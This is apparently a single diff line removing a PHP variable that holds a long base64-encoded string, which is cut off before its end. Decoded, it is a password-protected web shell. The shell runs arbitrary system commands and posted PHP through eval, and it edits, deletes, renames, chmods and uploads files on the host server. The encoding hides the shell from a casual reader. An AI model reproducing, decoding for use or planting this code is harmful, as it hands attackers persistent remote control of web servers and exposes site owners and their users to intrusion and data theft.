- $str = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CiRtZSA9IGJhc2VuYW1lKF9fRklMRV9fKTsKJHBhc3M9JzdlZWZjNTliYTk1OGNlMWEyZmNkMGQ4MDRkZTUzYjE4JzsKCmlmKG1kNShtZDUoJF9QT1NUWydwdyddKSkgPT0gJHBhc3MpICRfU0VTU0lPTlsneCddID0gIngiOwppZigkX1NFU1NJT05bJ3gnXSE9IngiKSB7IGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IG5hbWU9InB3IiB0eXBlPSJwYXNzd29yZCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIj48L2Zvcm0+JzsgZXhpdDsgfQoKaWYoaXNzZXQoJF9HRVRbJ2RpciddKSkKewogICAgY2hkaXIoJF9HRVRbJ2RpciddKTsKfQoKJHBhZ2VzID0gYXJyYXkoCiAgICAnY21kJyA9PiAnRXhlY3V0ZSBDb21tYW5kJywKICAgICdldmFsJyA9PiAnRXZhbHVhdGUgUEhQJywKICAgICdjaG1vZCcgPT4gJ0NobW9kIEZpbGUnLAogICAgJ3BocGluZm8nID0+ICdQSFBpbmZvJywKICAgICdoZWFkZXJzJyA9PiAnU2hvdyBoZWFkZXJzJywKKTsKCiRoZWFkZXIgPSAnPGh0bWw+Cjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJzwvdGl0bGU+CjxoZWFkPgo8c3R5bGU+CnRkIHsKICAgIGZvbnQtc2l6ZTogMTJweDsgCiAgICBmb250LWZhbWlseTogdmVyZGFuYTsKICAgIGNvbG9yOiAjMzNGRjAwOwogICAgYmFja2dyb3VuZDogIzAwMDAwMDsKfQoKI2QgewogICAgYmFja2dyb3VuZDogIzAwMzAwMDsKfQojZiB7CiAgICBiYWNrZ3JvdW5kOiAjMDAzMzAwOwp9CiNzIHsKICAgIGJhY2tncm91bmQ6ICMwMDYzMDA7Cn0KI2Q6aG92ZXIKewogICAgYmFja2dyb3VuZDogIzAwMzMwMDsKfQojZjpob3Zlcgp7CiAgICBiYWNrZ3JvdW5kOiAjMDAzMDAwOwp9CnByZSB7CiAgICBmb250LXNpemU6IDEwcHg7IAogICAgZm9udC1mYW1pbHk6IHZlcmRhbmE7CiAgICBjb2xvcjogIzMzRkYwMDsKfQphOmhvdmVyIHsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CgppbnB1dCx0ZXh0YXJlYSxzZWxlY3QgewogICAgYm9yZGVyLXRvcC13aWR0aDogMXB4OyAKICAgIGZvbnQtd2VpZ2h0OiBib2xkOyAKICAgIGJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IAogICAgZm9udC1zaXplOiAxMHB4OyAKICAgIGJvcmRlci1sZWZ0LWNvbG9yOiAjMzNGRjAwOyAKICAgIGJhY2tncm91bmQ6ICMwMDAwMDA7IAogICAgYm9yZGVyLWJvdHRvbS13aWR0aDogMXB4OyAKICAgIGJvcmRlci1ib3R0b20tY29sb3I6ICMzM0ZGMDA7IAogICAgY29sb3I6ICMzM0ZGMDA7IAogICAgYm9yZGVyLXRvcC1jb2xvcjogIzMzRkYwMDsgCiAgICBmb250LWZhbWlseTogdmVyZGFuYTsgCiAgICBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgCiAgICBib3JkZXItcmlnaHQtY29sb3I6ICMzM0ZGMDA7Cn0KCmhyIHsKY29sb3I6ICMzM0ZGMDA7CmJhY2tncm91bmQtY29sb3I6ICMzM0ZGMDA7CmhlaWdodDogNXB4Owp9Cgo8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPWJsYWNrIGFsaW5rPSIjMzNDQzAwIiB2bGluaz0iIzMzOTkwMCIgbGluaz0iIzMzOTkwMCI+Cjx0YWJsZSB3aWR0aD0xMDAlPjx0ZCBpZD0iaGVhZGVyIiB3aWR0aD0xMDAlPgo8cCBhbGlnbj1yaWdodD48Yj5bPGEgaHJlZj0iJy4kbWUuJyI+SG9tZTwvYT5dICc7Cgpmb3JlYWNoKCRwYWdlcyBhcyAkcGFnZSA9PiAkcGFnZV9uYW1lKQp7CiAgICAkaGVhZGVyIC49ICcgWzxhIGhyZWY9Ij9wPScuJHBhZ2UuJyZkaXI9Jy5yZWFscGF0aCgnLicpLiciPicuJHBhZ2VfbmFtZS4nPC9hPl0gJzsKCn0KJGhlYWRlciAuPSAnPGJyPjxocj4nLnNob3dfZGlycygnLicpLic8L3RkPjx0cj48dGQ+JzsKcHJpbnQgJGhlYWRlcjsKCiRmb290ZXIgPSAnPHRyPjx0ZD48aHI+PC90ZD48L3RhYmxlPjwvYm9keT48L2hlYWQ+PC9odG1sPic7CgppZihpc3NldCgkX1JFUVVFU1RbJ3AnXSkpCnsKICAgICAgICBzd2l0Y2ggKCRfUkVRVUVTVFsncCddKSB7CiAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICdjbWQnOiAvL1J1biBjb21tYW5kCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9ybSBhY3Rpb249XCIiLiRtZS4iP3A9Y21kJmRpcj0iLnJlYWxwYXRoKCcuJykuIlwiIG1ldGhvZD1QT1NUPjxiPkNvbW1hbmQ6PC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jb21tYW5kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsKICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPHByZT4iOwogICAgICAgICAgICAgICAgICAgICAgICBleGVjdXRlX2NvbW1hbmQoZ2V0X2V4ZWN1dGlvbl9tZXRob2QoKSwkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7IC8vWW91IHdhbnQgZnJpZXMgd2l0aCB0aGF0PwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgY2FzZSAnZWRpdCc6IC8vRWRpdCBhIGZpZQogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydlZGl0Zm9ybSddKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkZiA9ICRfR0VUWydmaWxlJ107CiAgICAgICAgICAgICAgICAgICAgJGZoID0gZm9wZW4oJGYsICd3Jykgb3IgcHJpbnQgIkVycm9yIHdoaWxlIG9wZW5pbmcgZmlsZSEiOwogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZmgsICRfUE9TVFsnZWRpdGZvcm0nXSkgb3IgcHJpbnQgIkNvdWxkbid0IHNhdmUgZmlsZSEiOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZmgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcHJpbnQgIkVkaXRpbmcgZmlsZSA8Yj4iLiRfR0VUWydmaWxlJ10uIjwvYj4gKCIucGVybSgkX0dFVFsnZmlsZSddKS4iKTxicj48YnI+PGZvcm0gYWN0aW9uPVwiIi4kbWUuIj9wPWVkaXQmZmlsZT0iLiRfR0VUWydmaWxlJ10uIiZkaXI9Ii5yZWFscGF0aCgnLicpLiJcIiBtZXRob2Q9UE9TVD48dGV4dGFyZWEgY29scz05MCByb3dzPTE1IG5hbWU9XCJlZGl0Zm9ybVwiPiI7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfR0VUWydmaWxlJ10pKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRyZCA9IGZpbGUoJF9HRVRbJ2ZpbGUnXSk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcmQgYXMgJGwpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBwcmludCBodG1sc3BlY2lhbGNoYXJzKCRsKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHByaW50ICI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L2Zvcm0+IjsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6IC8vRGVsZXRlIGEgZmlsZQogICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsneWVzJ10pKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmKHVubGluaygkX0dFVFsnZmlsZSddKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJGaWxlIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5LiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJDb3VsZG4ndCBkZWxldGUgZmlsZS4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZmlsZSddKSAmJiBmaWxlX2V4aXN0cygkX0dFVFsnZmlsZSddKSAmJiAhaXNzZXQoJF9QT1NUWyd5ZXMnXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgIi4kX0dFVFsnZmlsZSddLiI/PGJyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIiIuJG1lLiI/cD1kZWxldGUmZmlsZT0iLiRfR0VUWydmaWxlJ10uIlwiIG1ldGhvZD1QT1NUPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXllcyB2YWx1ZT15ZXM+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRGVsZXRlXCI+CiAgICAgICAgICAgICAgICAgICAgIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICdldmFsJzogLy9FdmFsdWF0ZSBQSFAgY29kZQogICAgICAgICAgICAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9ybSBhY3Rpb249XCIiLiRtZS4iP3A9ZXZhbFwiIG1ldGhvZD1QT1NUPgogICAgICAgICAgICAgICAgPHRleHRhcmVhIGNvbHM9NjAgcm93cz0xMCBuYW1lPVwiZXZhbFwiPiI7CiAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2V2YWwnXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2V2YWwnXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgInByaW50IFwiWW8gTW9tbWFcIjsiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGJyPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRXZhbFwiPgogICAgICAgICAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZXZhbCddKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBwcmludCAiPGgxPk91dHB1dDo8L2gxPiI7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxicj4iOwogICAgICAgICAgICAgICAgICAgIGV2YWwoJF9QT1NUWydldmFsJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICdjaG1vZCc6IC8vQ2htb2QgZmlsZQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnY2htb2QnXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsnY2h2YWx1ZSddKXsKICAgICAgICAgICAgICAgICAgICBjYXNlIDc3NzoKICAgICAgICAgICAgICAgICAgICBjaG1vZCgkX1BPU1RbJ2NobW9kJ10sMDc3Nyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA2NDQ6CiAgICAgICAgICAgICAgICAgICAgY2htb2QoJF9QT1NUWydjaG1vZCddLDA2NDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNzU1OgogICAgICAgICAgICAgICAgICAgIGNobW9kKCRfUE9TVFsnY2htb2QnXSwwNzU1KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHByaW50ICJDaGFuZ2VkIHBlcm1pc3Npb25zIG9uICIuJF9QT1NUWydjaG1vZCddLiIgdG8gIi4kX1BPU1RbJ2NodmFsdWUnXS4iLiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZmlsZSddKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IHVybGRlY29kZSgkX0dFVFsnZmlsZSddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICJmaWxlL3BhdGgvcGxlYXNlIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgcHJpbnQgIjxmb3JtIGFjdGlvbj1cIiIuJG1lLiI/cD1jaG1vZCZmaWxlPSIuJGNvbnRlbnQuIiZkaXI9Ii5yZWFscGF0aCgnLicpLiJcIiBtZXRob2Q9UE9TVD48Yj5GaWxlIHRvIGNobW9kOgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPVwiIi4kY29udGVudC4iXCIgc2l6ZT03MD48YnI+PGI+TmV3IHBlcm1pc3Npb246PC9iPgogICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwiY2h2YWx1ZVwiPgo8b3B0aW9uIHZhbHVlPVwiNzc3XCI+Nzc3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCI2NDRcIj42NDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cIjc1NVwiPjc1NTwvb3B0aW9uPgo8L3NlbGVjdD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDaGFuZ2VcIj4iOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAKICAgICAgICAgICAgY2FzZSAnY3JlYXRlZGlyJzoKICAgICAgICAgICAgaWYobWtkaXIoJF9HRVRbJ2NyZGlyJ10pKQogICAgICAgICAgICB7CiAgICAgICAgICAgIHByaW50ICdEaXJlY3RvcnkgY3JlYXRlZCBzdWNjZXNzZnVsbHkuJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgcHJpbnQgJ0NvdWxkbnQgY3JlYXRlIGRpcmVjdG9yeSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgY2FzZSAncGhwaW5mbyc6IC8vUEhQIEluZm8KICAgICAgICAgICAgICAgIHBocGluZm8oKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2ZpbGVvbGQnXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsnZmlsZW9sZCddLCRfUE9TVFsnZmlsZW5ldyddKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJGaWxlIHJlbmFtZWQuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNvdWxkbid0IHJlbmFtZSBmaWxlLiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBiYXNlbmFtZShodG1sc3BlY2lhbGNoYXJzKCRfR0VUWydmaWxlJ10pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBwcmludCAiUmVuYW1pbmcgIi4kZmlsZS4iIGluIGZvbGRlciAiLnJlYWxwYXRoKCcuJykuIi48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiIi4kbWUuIj9wPXJlbmFtZSZkaXI9Ii5yZWFscGF0aCgnLicpLiJcIiBtZXRob2Q9UE9TVD4KICAgICAgICAgICAgICAgICAgICA8Yj5SZW5hbWU6PGJyPjwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZW9sZCB2YWx1ZT1cIiIuJGZpbGUuIlwiIHNpemU9NzA+PGJyPgogICAgICAgICAgICAgICAgICAgIDxiPlRvOjxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZW5ldyB2YWx1ZT1cIlwiIHNpemU9MTA+PGJyPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlJlbmFtZSBmaWxlXCI+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAKICAgICAgICB9Cgp9CmVsc2UKewogICAgCiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgJGRpcmVjdG9yaWVzID0gYXJyYXkoKTsKICAgIAogICAgaWYoaXNzZXQoJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ25hbWUnXSkpCnsKICAgICR0YXJnZXRfcGF0aCA9IHJlYWxwYXRoKCcuJykuJy8nOwogICAgJHRhcmdldF9wYXRoID0gJHRhcmdldF9wYXRoIC4gYmFzZW5hbWUoICRfRklMRVNbJ3VwbG9hZGVkZmlsZSddWyduYW1lJ10pOyAKCiAgICBpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ3RtcF9uYW1lJ10sICR0YXJnZXRfcGF0aCkpIHsKICAgICAgICBwcmludCAiRmlsZToiLiAgYmFzZW5hbWUoICRfRklMRVNbJ3VwbG9hZGVkZmlsZSddWyduYW1lJ10pLiAKICAgICAgICAiIGhhcyBiZWVuIHVwbG9hZGVkIjsKICAgIH0gZWxzZXsKICAgICAgICBlY2hvICJGaWxlIHVwbG9hZCBmYWlsZWQhIjsKICAgIH0KfQoKCiAgICAKICAgIAogICAgCiAgICBwcmludCAiPHRhYmxlIGJvcmRlcj0wIHdpZHRoPTEwMCU+PHRkIHdpZHRoPTUlIGlkPXM+PGI+T3B0aW9uczwvYj48L3RkPjx0ZCBpZD1zPjxiPkZpbGVuYW1lPC9iPjwvdGQ+PHRkIGlkPXM+PGI+U2l6ZTwvYj48L3RkPjx0ZCBpZD1zPjxiPlBlcm1pc3Npb25zPC9iPjwvdGQ+PHRkIGlkPXM+TGFzdCBtb2RpZmllZDwvdGQ+PHRyPiI7CiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJy4nKSkKICAgIHsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSAKICAgICAgICB7CiAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmaWxlKSkKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGlyZWN0b3JpZXNbXSA9ICRmaWxlOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgYXNvcnQoJGRpcmVjdG9yaWVzKTsKICAgIGFzb3J0KCRmaWxlcyk7CiAgICAgICAgZm9yZWFjaCgkZGlyZWN0b3JpZXMgYXMgJGZpbGUpCiAgICAgICAgewogICAgICAgICAgICBwcmludCAiPHRkIGlkPWQ+PGEgaHJlZj1cIj9wPXJlbmFtZSZmaWxlPSIucmVhbHBhdGgoJGZpbGUpLiImZGlyPSIucmVhbHBhdGgoJy4nKS4iXCI+W1JdPC9hPjxhIGhyZWY9XCI/cD1kZWxldGUmZmlsZT0iLnJlYWxwYXRoKCRmaWxlKS4iXCI+W0RdPC9hPjwvdGQ+PHRkIGlkPWQ+PGEgaHJlZj1cIiIuJG1lLiI/ZGlyPSIucmVhbHBhdGgoJGZpbGUpLiJcIj4iLiRmaWxlLiI8L2E+PC90ZD48dGQgaWQ9ZD48L3RkPjx0ZCBpZD1kPjxhIGhyZWY9XCI/cD1jaG1vZCZkaXI9Ii5yZWFscGF0aCgnLicpLiImZmlsZT0iLnJlYWxwYXRoKCRmaWxlKS4iXCI+PGZvbnQgY29sb3I9Ii5nZXRfY29sb3IoJGZpbGUpLiI+Ii5wZXJtKCRmaWxlKS4iPC9mb250PjwvYT48L3RkPjx0ZCBpZD1kPiIuZGF0ZSAoIlkvbS9kLCBIOmk6cyIsIGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjx0cj4iOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkKICAgICAgICB7CiAgICAgICAgICAgIHByaW50ICI8dGQgaWQ9Zj48YSBocmVmPVwiP3A9cmVuYW1lJmZpbGU9Ii5yZWFscGF0aCgkZmlsZSkuIiZkaXI9Ii5yZWFscGF0aCgnLicpLiJcIj5bUl08L2E+PGEgaHJlZj1cIj9wPWRlbGV0ZSZmaWxlPSIucmVhbHBhdGgoJGZpbGUpLiJcIj5bRF08L2E+PC90ZD48dGQgaWQ9Zj48YSBocmVmPVwiIi4kbWUuIj9wPWVkaXQmZGlyPSIucmVhbHBhdGgoJy4nKS4iJmZpbGU9Ii5yZWFscGF0aCgkZmlsZSkuIlwiPiIuJGZpbGUuIjwvYT48L3RkPjx0ZCBpZD1mPiIuZmlsZXNpemUoJGZpbGUpLiI8L3RkPjx0ZCBpZD1mPjxhIGhyZWY9XCI/cD1jaG1vZCZkaXI9Ii5yZWFscGF0aCgnLicpLiImZmlsZT0iLnJlYWxwYXRoKCRmaWxlKS4iXCI+PGZvbnQgY29sb3I9Ii5nZXRfY29sb3IoJGZpbGUpLiI+Ii5wZXJtKCRmaWxlKS4iPC9mb250PjwvYT48L3RkPjx0ZCBpZD1mPiIuZGF0ZSAoIlkvbS9kLCBIOmk6cyIsIGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjx0cj4iOwogICAgICAgIH0KICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICBwcmludCAiPHU+RXJyb3IhPC91PiBDYW4ndCBvcGVuIDxiPiIucmVhbHBhdGgoJy4nKS4iPC9iPiE8YnI+IjsKICAgIH0KICAgIAogICAgcHJpbnQgIjwvdGFibGU+PGhyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0xMDAlPjx0ZD48Yj5VcGxvYWQgZmlsZTwvYj48YnI+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRtZS4iP2Rpcj0iLnJlYWxwYXRoKCcuJykuIlwiIG1ldGhvZD1cIlBPU1RcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiTUFYX0ZJTEVfU0laRVwiIHZhbHVlPVwiMTAwMDAwMDAwXCIgLz48aW5wdXQgc2l6ZT0zMCBuYW1lPVwidXBsb2FkZWRmaWxlXCIgdHlwZT1cImZpbGVcIiAvPgo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVXBsb2FkIEZpbGVcIiAvPgo8L2Zvcm0+PC90ZD48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kbWUuIlwiIG1ldGhvZD1HRVQ+PGI+Q2hhbmdlIERpcmVjdG9yeTxicj48L2I+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG5hbWU9ZGlyIHZhbHVlPVwiIi5yZWFscGF0aCgnLicpLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDaGFuZ2UgRGlyZWN0b3J5XCI+PC9mb3JtPjwvdGQ+Cjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kbWUuIlwiIG1ldGhvZD1HRVQ+PGI+Q3JlYXRlIGZpbGU8YnI+PC9iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT1cIiIucmVhbHBhdGgoJy4nKS4iXCI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG5hbWU9ZmlsZSB2YWx1ZT1cIiIucmVhbHBhdGgoJy4nKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cCB2YWx1ZT1lZGl0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNyZWF0ZSBmaWxlXCI+PC9mb3JtPgo8L3RkPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRtZS4iXCIgbWV0aG9kPUdFVD48Yj5DcmVhdGUgZGlyZWN0b3J5PGJyPjwvYj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbmFtZT1jcmRpciB2YWx1ZT1cIiIucmVhbHBhdGgoJy4nKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPVwiIi5yZWFscGF0aCgnLicpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wIHZhbHVlPWNyZWF0ZWRpcj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDcmVhdGUgZGlyZWN0b3J5XCI+PC9mb3JtPjwvdGQ+CjwvdGFibGU+IjsKCgp9CgoKCgpmdW5jdGlvbiBnZXRfZXhlY3V0aW9uX21ldGhvZCgpCnsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7ICRtID0gInBhc3N0aHJ1IjsgfQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpeyAkbSA9ICJleGVjIjsgfQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyAkbSA9ICJzaGVsbF8gZXhlYyI7IH0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpeyAkbSA9ICJzeXN0ZW0iOyB9CiAgICBpZighaXNzZXQoJG0pKQogICAgewogICAgICAgICRtID0gIkRpc2FibGVkIjsKICAgIH0KICAgIHJldHVybigkbSk7Cn0KCmZ1bmN0aW9uIGV4ZWN1dGVfY29tbWFuZCgkbWV0aG9kLCRjb21tYW5kKQp7CiAgICBpZigkbWV0aG9kID09ICJwYXNzdGhydSIpCiAgICB7CiAgICAgICAgcGFzc3RocnUoJGNvbW1hbmQpOwogICAgfQogICAgCiAgICBlbHNlaWYoJG1ldGhvZCA9PSAiZXhlYyIpCiAgICB7CiAgICAgICAgZXhlYygkY29tbWFuZCwkcmVzdWx0KTsKICAgICAgICBmb3JlYWNoKCRyZXN1bHQgYXMgJG91dHB1dCkKICAgICAgICB7CiAgICAgICAgICAgIHByaW50ICRvdXRwdXQuIjxicj4iOwogICAgICAgIH0KICAgIH0KICAgIAogICAgZWxzZWlmKCRtZXRob2QgPT0gInNoZWxsX2V4ZWMiKQogICAgewogICAgICAgIHByaW50IHNoZWxsX2V4ZWMoJGNvbW1hbmQpOwogICAgfQogICAgCiAgICBlbHNlaWYoJG1ldGhvZCA9PSAic3lzdGVtIikKICAgIHsKICAgICAgICBzeXN0ZW0oJGNvbW1hbmQpOwogICAgfQoKfQoKZnVuY3Rpb24gcGVybSgkZmlsZSkKewogICAgaWYoZmlsZV